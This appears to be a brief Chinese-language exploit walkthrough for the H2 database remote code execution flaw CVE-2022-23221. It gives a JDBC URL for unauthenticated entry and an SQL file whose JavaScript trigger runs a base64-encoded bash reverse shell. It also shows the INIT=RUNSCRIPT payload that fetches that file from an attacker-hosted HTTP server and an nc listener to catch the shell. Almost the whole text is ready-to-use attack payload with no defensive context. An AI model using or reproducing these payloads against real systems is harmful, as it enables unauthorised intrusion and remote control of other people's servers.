h2database RCE(CVE-2022-23221)
启动环境:

访问界面

未授权进入POC:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

RCE执行反弹
-创建数据库文件:h2database.sql
CREATE TABLE test ( id INT NOT NULL ); CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
启动python服务
python3 -m http.server 端口
填入payload
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\
nc -lvvp xxxx


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